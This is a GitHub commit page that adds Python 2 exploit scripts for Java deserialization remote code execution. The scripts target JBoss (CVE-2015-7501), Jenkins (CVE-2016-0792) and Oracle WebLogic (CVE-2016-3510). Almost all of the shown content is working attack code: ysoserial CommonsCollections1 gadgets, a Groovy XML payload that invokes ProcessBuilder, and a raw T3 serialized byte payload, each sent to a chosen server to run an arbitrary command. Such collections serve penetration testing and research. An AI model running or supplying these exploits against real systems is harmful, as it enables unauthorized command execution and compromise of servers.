Skip to content

Commit af9abc6

Browse files
swisskyreposwisskyrepo
committed
More CVE - RCE : Jenkins, JBoss, WebLogic, WebSphere
1 parent 15fe340 commit af9abc6

7 files changed

Lines changed: 383 additions & 1 deletion

File tree

‎CVE Exploits/JBoss CVE-2015-7501.py‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
#! /usr/bin/env python2
2+
3+
# Jboss Java Deserialization RCE (CVE-2015-7501)
4+
# Made with <3 by @byt3bl33d3r
5+
6+
import requests
7+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
8+
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
9+
10+
import argparse
11+
import sys, os
12+
#from binascii import hexlify, unhexlify
13+
from subprocess import check_output
14+
15+
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
16+
ysoserial_path = None
17+
18+
parser = argparse.ArgumentParser()
19+
parser.add_argument('target', type=str, help='Target IP')
20+
parser.add_argument('command', type=str, help='Command to run on target')
21+
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
22+
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
23+
24+
if len(sys.argv) < 2:
25+
parser.print_help()
26+
sys.exit(1)
27+
28+
args = parser.parse_args()
29+
30+
if not args.ysoserial_path:
31+
for path in ysoserial_default_paths:
32+
if os.path.exists(path):
33+
ysoserial_path = path
34+
else:
35+
if os.path.exists(args.ysoserial_path):
36+
ysoserial_path = args.ysoserial_path
37+
38+
if ysoserial_path is None:
39+
print '[-] Could not find ysoserial JAR file'
40+
sys.exit(1)
41+
42+
if len(args.target.split(":")) != 2:
43+
print '[-] Target must be in format IP:PORT'
44+
sys.exit(1)
45+
46+
if not args.command:
47+
print '[-] You must specify a command to run'
48+
sys.exit(1)
49+
50+
ip, port = args.target.split(':')
51+
52+
print '[*] Target IP: {}'.format(ip)
53+
print '[*] Target PORT: {}'.format(port)
54+
55+
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
56+
57+
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
58+
59+
if r.status_code == 200:
60+
print '[+] Command executed successfully'
61+

‎CVE Exploits/Jenkins CVE-2015-8103.py‎

Lines changed: 87 additions & 0 deletions
Large diffs are not rendered by default.

‎CVE Exploits/Jenkins CVE-2016-0792.py‎

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
#! /usr/bin/env python2
2+
3+
#Jenkins Groovy XML RCE (CVE-2016-0792)
4+
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
5+
#Made with <3 by @byt3bl33d3r
6+
7+
import requests
8+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
9+
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
10+
11+
import argparse
12+
import sys
13+
14+
parser = argparse.ArgumentParser()
15+
parser.add_argument('target', type=str, help='Target IP:PORT')
16+
parser.add_argument('command', type=str, help='Command to run on target')
17+
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
18+
19+
if len(sys.argv) < 2:
20+
parser.print_help()
21+
sys.exit(1)
22+
23+
args = parser.parse_args()
24+
25+
if len(args.target.split(':')) != 2:
26+
print '[-] Target must be in format IP:PORT'
27+
sys.exit(1)
28+
29+
if not args.command:
30+
print '[-] You must specify a command to run'
31+
sys.exit(1)
32+
33+
ip, port = args.target.split(':')
34+
35+
print '[*] Target IP: {}'.format(ip)
36+
print '[*] Target PORT: {}'.format(port)
37+
38+
xml_formatted = ''
39+
command_list = args.command.split()
40+
for cmd in command_list:
41+
xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
42+
43+
xml_payload = '''<map>
44+
<entry>
45+
<groovy.util.Expando>
46+
<expandoProperties>
47+
<entry>
48+
<string>hashCode</string>
49+
<org.codehaus.groovy.runtime.MethodClosure>
50+
<delegate class="groovy.util.Expando" reference="../../../.."/>
51+
<owner class="java.lang.ProcessBuilder">
52+
<command>
53+
{}
54+
</command>
55+
<redirectErrorStream>false</redirectErrorStream>
56+
</owner>
57+
<resolveStrategy>0</resolveStrategy>
58+
<directive>0</directive>
59+
<parameterTypes/>
60+
<maximumNumberOfParameters>0</maximumNumberOfParameters>
61+
<method>start</method>
62+
</org.codehaus.groovy.runtime.MethodClosure>
63+
</entry>
64+
</expandoProperties>
65+
</groovy.util.Expando>
66+
<int>1</int>
67+
</entry>
68+
</map>'''.format(xml_formatted.strip())
69+
70+
print '[*] Generated XML payload:'
71+
print xml_payload
72+
print
73+
74+
print '[*] Sending payload'
75+
headers = {'Content-Type': 'text/xml'}
76+
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
77+
78+
paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
79+
if r.status_code == 500:
80+
for path in paths_in_trace:
81+
if path in r.text:
82+
print '[+] Command executed successfully'
83+
break

‎CVE Exploits/WebLogic CVE-2016-3510.py‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
#!/usr/bin/env python2
2+
3+
#Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510)
4+
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
5+
#Made with <3 by @byt3bl33d3r
6+
7+
import socket
8+
import struct
9+
import argparse
10+
import os
11+
import sys
12+
from subprocess import check_output
13+
14+
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
15+
ysoserial_path = None
16+
17+
parser = argparse.ArgumentParser()
18+
parser.add_argument('target', type=str, help='Target IP:PORT')
19+
parser.add_argument('command', type=str, help='Command to run on target')
20+
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
21+
22+
if len(sys.argv) < 2:
23+
parser.print_help()
24+
sys.exit(1)
25+
26+
args = parser.parse_args()
27+
28+
if not args.ysoserial_path:
29+
for path in ysoserial_default_paths:
30+
if os.path.exists(path):
31+
ysoserial_path = path
32+
else:
33+
if os.path.exists(args.ysoserial_path):
34+
ysoserial_path = args.ysoserial_path
35+
36+
if len(args.target.split(':')) != 2:
37+
print '[-] Target must be in format IP:PORT'
38+
sys.exit(1)
39+
40+
if not args.command:
41+
print '[-] You must specify a command to run'
42+
sys.exit(1)
43+
44+
ip, port = args.target.split(':')
45+
46+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
47+
48+
print '[*] Target IP: {}'.format(ip)
49+
print '[*] Target PORT: {}'.format(port)
50+
51+
sock.connect((ip, int(port)))
52+
53+
# Send headers
54+
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
55+
print '[*] Sending header'
56+
sock.sendall(headers)
57+
58+
data = sock.recv(1024)
59+
print'[*] Received: "{}"'.format(data)
60+
61+
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
62+
63+
payload = '\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
64+
payload += payloadObj
65+
payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
66+
67+
# adjust header for appropriate message length
68+
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
69+
70+
print '[*] Sending payload'
71+
sock.send(payload)

0 commit comments

Comments
 (0)